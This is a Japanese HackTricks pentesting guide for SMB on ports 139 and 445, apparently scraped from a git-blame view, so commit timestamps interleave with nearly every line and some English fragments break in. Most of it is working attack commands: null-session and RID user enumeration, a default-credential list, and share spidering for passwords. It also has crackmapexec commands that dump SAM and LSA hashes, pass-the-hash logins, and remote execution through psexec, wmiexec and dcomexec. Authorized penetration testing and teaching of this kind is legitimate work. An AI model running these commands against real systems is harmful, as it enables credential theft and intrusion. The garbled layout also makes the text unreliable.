2024-02-05 02:58:30 +00:00
# 139,445 - SMBのペンテスト
2022-04-28 16:01:33 +00:00
< details >
2024-02-23 16:45:40 +00:00
< summary > < strong > ゼロからヒーローまでAWSハッキングを学ぶ< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE( HackTricks AWS Red Team Expert) < / strong > < / a > < strong > ! < / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-23 16:45:40 +00:00
HackTricksをサポートする他の方法:
2024-01-03 00:54:19 +00:00
2024-02-23 16:45:40 +00:00
* **HackTricksで企業を宣伝したり、HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop ) **をチェックしてください!**
* [**公式PEASS& HackTricksのグッズ** ](https://peass.creator-spring.com )を入手する
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ** ](https://discord.gg/hRep4RUj7f )に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live ) **をフォローする。**
* **ハッキングテクニックを共有するために、** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) **と** [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) **のGitHubリポジトリにPRを提出する。**
2022-04-28 16:01:33 +00:00
< / details >
2023-07-07 23:42:27 +00:00
## **ポート139**
2020-07-15 15:43:14 +00:00
2024-02-23 16:45:40 +00:00
_**ネットワーク基本入出力システム( NetBIOS) **_**は、ローカルエリアネットワーク( LAN) 内のアプリケーション、PC、およびデスクトップがネットワークハードウェアとやり取りし、**データの送受信を容易にする**ために設計されたソフトウェアプロトコルです。 NetBIOSネットワーク上で動作するソフトウェアアプリケーションの識別と場所は、16文字までのNetBIOS名を使用して達成され、通常はコンピュータ名とは異なります。 2つのアプリケーション間のNetBIOSセッションは、1つのアプリケーション( クライアントとして動作) が別のアプリケーション( サーバーとして動作) を「呼び出す」コマンドを発行することによって、**TCPポート139**を使用して開始されます。
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
2023-07-07 23:42:27 +00:00
## ポート445
2020-07-15 15:43:14 +00:00
2024-02-23 16:45:40 +00:00
技術的には、ポート139は「NBT over IP」と呼ばれ、ポート445は「SMB over IP」と識別されます。**SMB**とは「**Server Message Blocks**」の頭字語であり、現代では**Common Internet File System (CIFS)**としても知られています。アプリケーション層のネットワークプロトコルであるSMB/CIFSは、主にファイル、プリンタ、シリアルポートへの共有アクセスを可能にし、ネットワーク上のノ ード間でのさまざまな形式の通信を容易にします。
2020-07-15 15:43:14 +00:00
2024-02-09 09:15:30 +00:00
例えば、Windowsの場合、SMBはTCP/IP上で直接動作することが強調されており、ポート445の利用によりNetBIOS over TCP/IPの必要性がなくなります。一方、他のシステムでは、ポート139の使用が観察され、SMBがNetBIOS over TCP/IPと共に実行されていることが示されています。
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
2022-10-02 19:15:35 +00:00
### SMB
2024-02-23 16:45:40 +00:00
**Server Message Block (SMB)**プロトコルは、**クライアント-サーバー**モデルで動作し、**ファイルへのアクセス**、ディレクトリ、プリンタ、およびルータなどの他のネットワークリソースへのアクセスを規制するために設計されています。主に**Windows**オペレーティングシステムシリーズで利用されており、SMBは後方互換性を確保し、Microsoftのオペレーティングシステムの新しいバージョンを搭載したデバイスが古いバージョンを実行しているデバイスとシームレスにやり取りできるようにしています。さらに、**Samba**プロジェクトは、SMBを**Linux**およびUnixシステムに実装するための無料ソフトウェアソリューションを提供しており、これによりSMBを介したクロスプラットフォームの通信が容易になっています。
2022-10-02 19:15:35 +00:00
2024-02-23 16:45:40 +00:00
**ローカルファイルシステムの任意の部分**を表す共有は、SMBサーバーによって提供され、クライアントにサーバーの実際の構造から一部独立した階層を表示します。**アクセス制御リスト( ACLs) **は、**アクセス権限**を定義し、**`実行`**、**`読み取り`**、および**`完全アクセス`**などの属性を含むユーザー権限に対して**細かい制御**を可能にします。これらの権限は、共有に基づいて個々のユーザーやグループに割り当てることができ、サーバーに設定されたローカル権限とは異なります。
2022-10-02 19:15:35 +00:00
2024-02-09 09:15:30 +00:00
### IPC$ 共有
2020-07-15 15:43:14 +00:00
2024-02-23 16:45:40 +00:00
IPC$共有へのアクセスは、匿名のヌルセッションを介して取得でき、名前付きパイプを介して公開されたサービスとのやり取りが可能になります。この目的には、ユーティリティ`enum4linux`が役立ちます。適切に利用すると、次の情報を取得できます:
2020-07-15 15:43:14 +00:00
2024-02-23 16:45:40 +00:00
* オペレーティングシステムに関する情報
* 親ドメインの詳細
* ローカルユーザーとグループの一覧
* 利用可能なSMB共有に関する情報
* 有効なシステムセキュリティポリシー
2024-02-05 02:58:30 +00:00
2024-02-23 16:45:40 +00:00
この機能は、ネットワーク管理者やセキュリティ専門家がネットワーク上のSMB( Server Message Block) サービスのセキュリティポストを評価するために重要です。`enum4linux`は、対象システムのSMB環境の包括的なビューを提供し、潜在的な脆弱性を特定し、SMBサービスが適切に保護されていることを確認するために不可欠です。
2024-02-05 02:58:30 +00:00
```bash
enum4linux -a target_ip
```
2024-02-23 16:45:40 +00:00
上記のコマンドは、`target_ip` で指定されたターゲットに対して完全な列挙を実行するために `enum4linux` が使用される方法の例です。
2020-07-15 15:43:14 +00:00
2024-02-05 02:58:30 +00:00
## NTLMとは
2020-07-15 15:43:14 +00:00
2024-02-23 16:45:40 +00:00
NTLMが何かわからない場合や、それがどのように機能し、どのように悪用できるかを知りたい場合は、**NTLM**に関するこのページが非常に興味深いでしょう。このページでは、**このプロトコルがどのように機能し、どのようにそれを悪用できるか**が説明されています:
2020-07-15 15:43:14 +00:00
2022-10-04 23:49:59 +00:00
{% content-ref url="../windows-hardening/ntlm/" %}
[ntlm ](../windows-hardening/ntlm/ )
{% endcontent-ref %}
2024-02-05 02:58:30 +00:00
## **サーバーの列挙**
2020-07-15 15:43:14 +00:00
2024-02-23 16:45:40 +00:00
### ホストを検索するためにネットワークをスキャンします:
2020-07-15 15:43:14 +00:00
```bash
nbtscan -r 192.168.0.1/24
```
2023-12-26 22:04:57 +00:00
### SMBサーバーバージョン
2020-07-15 15:43:14 +00:00
2024-02-23 16:45:40 +00:00
SMBバージョンへの潜在的な脆弱性を探すためには、使用されているバージョンを知っておくことが重要です。この情報が他の使用されているツールに表示されない場合は、次の方法があります:
2020-07-15 15:43:14 +00:00
2024-02-23 16:45:40 +00:00
- **MSF**の補助モジュール **_auxiliary/scanner/smb/smb_version_** を使用する
2024-02-09 09:15:30 +00:00
- または、このスクリプト:
2020-07-15 15:43:14 +00:00
```bash
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" & & exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" & & sleep .1
```
2024-02-05 02:58:30 +00:00
### **脆弱性の検索**
2020-07-15 15:43:14 +00:00
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
2024-02-05 02:58:30 +00:00
### **可能性のある**資格情報
2020-07-15 15:43:14 +00:00
2024-02-05 02:58:30 +00:00
| **ユーザー名** | **一般的なパスワード** |
| -------------------- | --------------------------------------- |
2024-02-23 16:45:40 +00:00
| _(空白)_ | _(空白)_ |
2024-02-05 02:58:30 +00:00
| guest | _(空白)_ |
2023-07-07 23:42:27 +00:00
| Administrator, admin | _(空白)_ , password, administrator, admin |
2024-02-09 09:15:30 +00:00
| arcserve | arcserve, backup |
2024-02-05 02:58:30 +00:00
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | password, test, lab, demo |
2020-07-15 15:43:14 +00:00
2024-02-05 02:58:30 +00:00
### 総当たり攻撃
2023-12-26 22:04:57 +00:00
2024-02-05 02:58:30 +00:00
* [**SMB総当たり攻撃** ](../generic-methodologies-and-resources/brute-force.md#smb )
2023-12-26 22:04:57 +00:00
2024-02-05 02:58:30 +00:00
### SMB環境情報
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
### 情報の取得
2020-07-15 15:43:14 +00:00
```bash
#Dump interesting information
enum4linux -a [-u "< username > " -p "< passwd > "] < IP >
2021-06-16 12:07:22 +00:00
enum4linux-ng -A [-u "< username > " -p "< passwd > "] < IP >
2020-07-15 15:43:14 +00:00
nmap --script "safe or smb-enum-*" -p 445 < IP >
#Connect to the rpc
rpcclient -U "" -N < IP > #No creds
2020-12-22 11:59:42 +00:00
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
2022-11-26 22:36:18 +00:00
rpcclient -U "username%passwd" < IP > #With creds
2020-07-15 15:43:14 +00:00
#You can use querydispinfo and enumdomusers to query user information
#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]< targetName or address >
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]< targetName or address >
#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]< targetName or address >
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]< targetName or address >
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]< targetName or address >
```
2024-02-05 02:58:30 +00:00
### ユーザー、グループ、およびログインユーザーの列挙
2023-07-07 23:42:27 +00:00
2024-02-23 16:45:40 +00:00
この情報は、enum4linuxとenum4linux-ngからすでに収集されているはずです。
2022-10-02 19:15:35 +00:00
```bash
2022-10-04 23:49:59 +00:00
crackmapexec smb 10.10.10.10 --users [-u < username > -p < password > ]
crackmapexec smb 10.10.10.10 --groups [-u < username > -p < password > ]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u < username > -p < password > ]
2020-07-15 15:43:14 +00:00
2022-10-04 21:36:29 +00:00
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(& (objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
2020-07-15 15:43:14 +00:00
2022-10-04 21:36:29 +00:00
rpcclient -U "" -N 10.10.10.10
enumdomusers
2022-10-04 23:49:59 +00:00
enumdomgroups
2023-08-27 20:14:16 +00:00
```
### ローカルユーザーの列挙
2023-12-26 22:04:57 +00:00
2023-08-27 20:14:16 +00:00
[Impacket ](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py )
```bash
2022-10-04 23:49:59 +00:00
lookupsid.py -no-pass hostname.local
2023-08-27 20:14:16 +00:00
```
2024-02-05 02:58:30 +00:00
# Oneliner
2024-02-09 09:15:30 +00:00
## Description
2024-02-23 16:45:40 +00:00
A one-liner is a single line of code or command that performs a specific task or function. In the context of penetration testing, one-liners can be used to quickly execute commands on a target system to gather information, exploit vulnerabilities, or perform other actions. One-liners are often used for their simplicity and efficiency in carrying out tasks during a penetration test.
2023-08-27 20:14:16 +00:00
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
### Metasploit - ローカルユーザーの列挙
```bash
2022-10-04 23:49:59 +00:00
use auxiliary/scanner/smb/smb_lookupsid
2023-12-26 22:04:57 +00:00
set rhosts hostname.local
2022-10-04 23:49:59 +00:00
run
2022-10-04 21:36:29 +00:00
```
2024-02-05 02:58:30 +00:00
### **LSARPCおよびSAMR rpcclientの列挙**
2020-07-15 15:43:14 +00:00
2022-10-04 23:18:19 +00:00
{% content-ref url="pentesting-smb/rpcclient-enumeration.md" %}
[rpcclient-enumeration.md ](pentesting-smb/rpcclient-enumeration.md )
2022-10-04 21:36:29 +00:00
{% endcontent-ref %}
2020-07-15 15:43:14 +00:00
2023-12-26 22:04:57 +00:00
### LinuxからのGUI接続
2021-02-02 09:11:43 +00:00
2023-12-26 22:04:57 +00:00
#### ターミナルで:
2021-02-02 09:11:43 +00:00
`xdg-open smb://cascade.htb/`
2024-02-23 16:45:40 +00:00
#### ファイルブラウザウィンドウ( nautilus、thunarなど) で:
2021-02-02 09:11:43 +00:00
`smb://friendzone.htb/general/`
2023-12-26 22:04:57 +00:00
## 共有フォルダの列挙
2022-10-04 23:49:59 +00:00
2024-02-05 02:58:30 +00:00
### 共有フォルダのリスト
2022-10-04 23:49:59 +00:00
2024-02-23 16:45:40 +00:00
何かにアクセスできるかどうかを常に確認することをお勧めします。資格情報がない場合は、**null** **資格情報/ゲストユーザー**を使用してみてください。
2023-08-27 20:14:16 +00:00
```bash
2023-12-26 22:04:57 +00:00
smbclient --no-pass -L //< IP > # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //< IP > #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
2020-07-15 15:43:14 +00:00
2023-12-26 22:04:57 +00:00
smbmap -H < IP > [-P < PORT > ] #Null user
smbmap -u "username" -p "password" -H < IP > [-P < PORT > ] #Creds
smbmap -u "username" -p "< NT > :< LM > " -H < IP > [-P < PORT > ] #Pass -the-Hash
smbmap -R -u "username" -p "password" -H < IP > [-P < PORT > ] #Recursive list
2023-07-07 23:42:27 +00:00
2023-12-26 22:04:57 +00:00
crackmapexec smb < IP > -u '' -p '' --shares #Null user
crackmapexec smb < IP > -u 'username' -p 'password' --shares #Guest user
crackmapexec smb < IP > -u 'username' -H '< HASH > ' --shares #Guest user
2023-07-07 23:42:27 +00:00
```
2024-02-05 02:58:30 +00:00
### **共有フォルダの接続/リスト**
2023-08-27 20:14:16 +00:00
```bash
2023-12-26 22:04:57 +00:00
#Connect using smbclient
2020-07-15 15:43:14 +00:00
smbclient --no-pass //< IP > /< Folder >
2023-12-26 22:04:57 +00:00
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //< IP > #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
2020-07-15 15:43:14 +00:00
2023-12-26 22:04:57 +00:00
#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H < IP > [-P < PORT > ] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H < IP > [-P < PORT > ] # Non-Recursive list
smbmap -u "username" -p "< NT > :< LM > " [-r/-R] [Folder] -H < IP > [-P < PORT > ] #Pass -the-Hash
2020-07-15 15:43:14 +00:00
```
2024-02-09 09:15:30 +00:00
### **Windows共有を手動で列挙し、接続する**
2020-07-15 15:43:14 +00:00
2024-02-09 09:15:30 +00:00
ホストマシンの共有を表示することが制限されている可能性があり、共有をリストしようとすると接続できる共有がないかのように表示されることがあります。そのため、共有に手動で接続してみる価値があるかもしれません。共有を手動で列挙するには、有効なセッション(例:ヌルセッションまたは有効な資格情報)を使用して NT\_STATUS\_ACCESS\_DENIED や NT\_STATUS\_BAD\_NETWORK\_NAME のような応答を探すことがおすすめです。これらは、共有が存在しアクセス権がないか、共有が存在しないかを示す可能性があります。
2023-08-27 20:14:16 +00:00
2024-02-23 16:45:40 +00:00
Windowsターゲットの一般的な共有名は以下の通りです。
2020-08-28 15:29:16 +00:00
* C$
* D$
* ADMIN$
* IPC$
* PRINT$
* FAX$
* SYSVOL
* NETLOGON
2024-02-23 16:45:40 +00:00
( _**Network Security Assessment 3rd edition**_ からの一般的な共有名)
2023-07-07 23:42:27 +00:00
2024-02-05 02:58:30 +00:00
以下のコマンドを使用してこれらに接続を試みることができます。
2023-08-27 20:14:16 +00:00
```bash
2023-12-26 22:04:57 +00:00
smbclient -U '%' -N \\\\< IP > \\< SHARE > # null session to connect to a windows share
smbclient -U '< USER > ' \\\\< IP > \\< SHARE > # authenticated session to connect to a windows share (you will be prompted for a password)
2023-07-07 23:42:27 +00:00
```
2024-02-05 02:58:30 +00:00
または、このスクリプト(ヌルセッションを使用)
2023-08-27 20:14:16 +00:00
```bash
#/bin/bash
2023-07-07 23:42:27 +00:00
2023-08-27 20:14:16 +00:00
ip='< TARGET-IP-HERE > '
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
2023-07-07 23:42:27 +00:00
2023-08-27 20:14:16 +00:00
for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
2023-07-07 23:42:27 +00:00
2023-08-27 20:14:16 +00:00
if [[ -z $output ]]; then
2023-12-26 22:04:57 +00:00
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
2023-08-27 20:14:16 +00:00
else
2023-12-26 22:04:57 +00:00
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
2023-08-27 20:14:16 +00:00
fi
done
2023-07-07 23:42:27 +00:00
```
2024-02-09 09:15:30 +00:00
### Examples
#### Enumerating SMB Shares
2024-02-23 16:45:40 +00:00
To list the available SMB shares on a target system, you can use tools like `smbclient` or `smbmap` . Here is an example using `smbclient` :
2024-02-09 09:15:30 +00:00
```bash
smbclient -L //< target_ip >
```
#### Enumerating SMB Users
2024-02-23 16:45:40 +00:00
To enumerate users via SMB, tools like `enum4linux` can be used. Here is an example command:
2024-02-09 09:15:30 +00:00
```bash
enum4linux -U -S //< target_ip >
```
#### Enumerating SMB Groups
2024-02-23 16:45:40 +00:00
To enumerate groups via SMB, you can use the following command with `enum4linux` :
2024-02-09 09:15:30 +00:00
```bash
enum4linux -G -S //< target_ip >
```
2023-08-27 20:14:16 +00:00
```bash
2023-12-26 22:04:57 +00:00
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
2024-02-05 02:58:30 +00:00
### **Windows / サードパーティツールを使用せずに共有を列挙する**
2023-07-07 23:42:27 +00:00
2023-12-26 22:04:57 +00:00
PowerShell
```powershell
# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
# Retrieves the SMB shares on a remote computer.
get-smbshare -CimSession "< computer name or session object > "
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection
2023-07-07 23:42:27 +00:00
```
2024-02-23 16:45:40 +00:00
コマンドプロンプト
2023-12-26 22:04:57 +00:00
```shell
# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\< ip > /all
2023-07-07 23:42:27 +00:00
```
2024-02-23 16:45:40 +00:00
MMCスナップイン( グラフィカル)
2023-12-26 22:04:57 +00:00
```shell
# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
2023-07-07 23:42:27 +00:00
```
2024-02-09 09:15:30 +00:00
explorer.exe( グラフィカル) 、`\\< ip > \`を入力して、利用可能な非非表示共有を表示します。
2023-07-07 23:42:27 +00:00
2024-02-05 02:58:30 +00:00
### 共有フォルダをマウント
2020-07-15 15:43:14 +00:00
```bash
2023-08-27 20:14:16 +00:00
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
2020-07-15 15:43:14 +00:00
```
2023-12-26 22:04:57 +00:00
### **ファイルのダウンロード**
2020-07-15 15:43:14 +00:00
2024-02-05 02:58:30 +00:00
以前のセクションを読んで、資格情報/Pass-the-Hashを使用して接続する方法を学んでください。
2020-07-15 15:43:14 +00:00
```bash
2023-12-26 22:04:57 +00:00
#Search a file and download
sudo smbmap -R Folder -H < IP > -A < FileName > -q # Search the file in recursive mode and download it inside /usr/share/smbmap
2020-07-15 15:43:14 +00:00
```
```bash
2023-12-26 22:04:57 +00:00
#Download all
smbclient //< IP > /< share >
2020-09-03 15:27:18 +00:00
> mask ""
2020-09-04 19:43:20 +00:00
> recurse
> prompt
2020-07-15 15:43:14 +00:00
> mget *
2023-12-26 22:04:57 +00:00
#Download everything to current directory
2020-07-15 15:43:14 +00:00
```
2024-02-05 02:58:30 +00:00
### ドメイン共有フォルダの検索
2020-09-07 11:12:11 +00:00
2024-02-05 02:58:30 +00:00
* [**Snaffler** ](https://github.com/SnaffCon/Snaffler )\*\*\*\*
2022-10-05 00:11:28 +00:00
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
2024-02-23 16:45:40 +00:00
* [**CrackMapExec** ](https://wiki.porchetta.industries/smb-protocol/spidering-shares ) のスパイダー。
2023-07-07 23:42:27 +00:00
* `-M spider_plus [--share <share_name>]`
* `--pattern txt`
2020-12-22 15:40:31 +00:00
```bash
2023-12-26 22:04:57 +00:00
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
2023-08-27 20:14:16 +00:00
```
2024-02-09 09:15:30 +00:00
特に興味深いのは、**`Registry.xml`** と呼ばれるファイルで、**Group Policy** を介して **autologon** に設定されたユーザーの **パスワード** が含まれている可能性があります。また、**`web.config`** ファイルには資格情報が含まれていることがあります。
2022-10-05 23:14:39 +00:00
{% hint style="info" %}
2024-02-05 02:58:30 +00:00
**SYSVOL共有** はドメイン内のすべての認証済みユーザーによって **読み取り可能** です。そこには多くの異なるバッチ、VBScript、PowerShell **スクリプト**が含まれているかもしれません。\
2024-02-09 09:15:30 +00:00
内部の **スクリプト** を **チェック** するべきです。そこには **パスワード** などの機密情報が含まれている可能性があります。
2022-10-05 23:14:39 +00:00
{% endhint %}
2023-12-26 22:04:57 +00:00
## レジストリの読み取り
2023-08-27 20:14:16 +00:00
2024-02-05 02:58:30 +00:00
いくつかの発見された資格情報を使用して **レジストリを読み取る** ことができるかもしれません。Impacket ** `reg.py` ** を使用して次のように試すことができます:
2023-08-27 20:14:16 +00:00
```bash
2023-11-05 15:19:55 +00:00
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
2023-08-27 20:14:16 +00:00
```
2024-02-05 02:58:30 +00:00
## ポストエクスプロイテーション
2022-10-02 19:15:35 +00:00
2024-02-23 16:45:40 +00:00
**Samba** サーバーの**デフォルト構成**は通常 `/etc/samba/smb.conf` にあり、いくつかの**危険な構成**が含まれている可能性があります:
2022-10-02 19:15:35 +00:00
2024-02-05 02:58:30 +00:00
| **設定** | **説明** |
2023-08-27 20:14:16 +00:00
| --------------------------- | ------------------------------------------------------------------- |
2024-02-23 16:45:40 +00:00
| `browseable = yes` | 現在の共有内の利用可能な共有をリスト表示することを許可しますか? |
2024-02-05 02:58:30 +00:00
| `read only = no` | ファイルの作成と変更を禁止しますか? |
2024-02-23 16:45:40 +00:00
| `writable = yes` | ユーザーがファイルを作成および変更できるようにしますか? |
| `guest ok = yes` | パスワードを使用せずにサービスに接続を許可しますか? |
| `enable privileges = yes` | 特定の SID に割り当てられた権限を尊重しますか? |
| `create mask = 0777` | 新しく作成されたファイルに割り当てる必要のあるアクセス許可は何ですか? |
| `directory mask = 0777` | 新しく作成されたディレクトリに割り当てる必要のあるアクセス許可は何ですか? |
| `logon script = script.sh` | ユーザーのログイン時に実行する必要のあるスクリプトは何ですか? |
| `magic script = script.sh` | スクリプトが閉じられたときに実行する必要のあるスクリプトはどれですか? |
| `magic output = script.out` | マジックスクリプトの出力を保存する必要のある場所はどこですか? |
2024-02-05 02:58:30 +00:00
2024-02-23 16:45:40 +00:00
`Smbstatus` コマンドは**サーバー**と**接続しているユーザー**に関する情報を提供します。
2024-02-05 02:58:30 +00:00
## Kerberos を使用した認証
2024-02-23 16:45:40 +00:00
**smbclient** と **rpcclient** ツールを使用して **kerberos** に**認証**できます:
2020-07-15 15:43:14 +00:00
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
```
2023-12-26 22:04:57 +00:00
## **コマンドの実行**
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
### **crackmapexec**
2020-07-15 15:43:14 +00:00
2024-02-23 16:45:40 +00:00
crackmapexecは、**wmiexec**が**デフォルト**のメソッドである**mmcexec、smbexec、atexec、wmiexec**のいずれかを**悪用**してコマンドを実行できます。使用するオプションを指定するには、パラメータ`--exec-method`を使用できます:
2020-07-15 15:43:14 +00:00
```bash
apt-get install crackmapexec
2023-12-26 22:04:57 +00:00
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
2020-09-20 21:41:33 +00:00
crackmapexec smb 192.168.10.11 -u Administrator -H < NTHASH > -x whoami #Pass -the-Hash
2023-12-26 22:04:57 +00:00
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --rid-brute #RID brute
2023-01-04 19:28:50 +00:00
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -H < HASH > #Pass -The-Hash
2020-07-15 15:43:14 +00:00
```
2022-10-04 23:18:19 +00:00
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
2020-07-15 15:43:14 +00:00
2024-02-05 02:58:30 +00:00
両方のオプションは、被害者のマシンで _\pipe\svcctl_ を介して SMB を使用して**新しいサービスを作成**し、それを使用して**何かを実行**します(**psexec** は実行可能ファイルを ADMIN$ 共有に**アップロード**し、**smbexec** は **cmd.exe/powershell.exe** を指定し、引数にペイロードを入れます --**ファイルレステクニック-**-)。\
[**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md )と [**smbexec** ](../windows-hardening/ntlm/smbexec.md )に関する**詳細情報**。\
**Kali** では、/usr/share/doc/python3-impacket/examples/ にあります。
2020-07-15 15:43:14 +00:00
```bash
2023-12-26 22:04:57 +00:00
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]< targetName or address >
./psexec.py -hashes < LM:NT > administrator@10.10.10.103 #Pass -the-Hash
2020-07-15 15:43:14 +00:00
psexec \\192.168.122.66 -u Administrator -p 123456Ww
2023-12-26 22:04:57 +00:00
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
2020-07-15 15:43:14 +00:00
```
2024-02-05 02:58:30 +00:00
**パラメータ**`-k`を使用すると、**NTLM**の代わりに**kerberos**に対して認証できます
2020-07-15 15:43:14 +00:00
2022-10-04 23:18:19 +00:00
### [wmiexec](../windows-hardening/ntlm/wmicexec.md)/dcomexec
2020-07-15 15:43:14 +00:00
2024-02-23 16:45:40 +00:00
**ポート135**を介してDCOMを使用してディスクに触れずに新しいサービスを実行せずにコマンドシェルをステルスリーに実行します。\
2024-02-05 02:58:30 +00:00
**kali**では、/usr/share/doc/python3-impacket/examples/にあります。
2020-07-15 15:43:14 +00:00
```bash
2023-12-26 22:04:57 +00:00
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]< targetName or address > #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass -the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
2020-07-15 15:43:14 +00:00
```
2024-02-23 16:45:40 +00:00
**パラメータ**`-k`を使用すると、**NTLM**の代わりに**kerberos**に対して認証を行うことができます。
2020-07-15 15:43:14 +00:00
```bash
2023-12-26 22:04:57 +00:00
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]< targetName or address >
./dcomexec.py -hashes < LM:NT > administrator@10.10.10.103 #Pass -the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
2020-07-15 15:43:14 +00:00
```
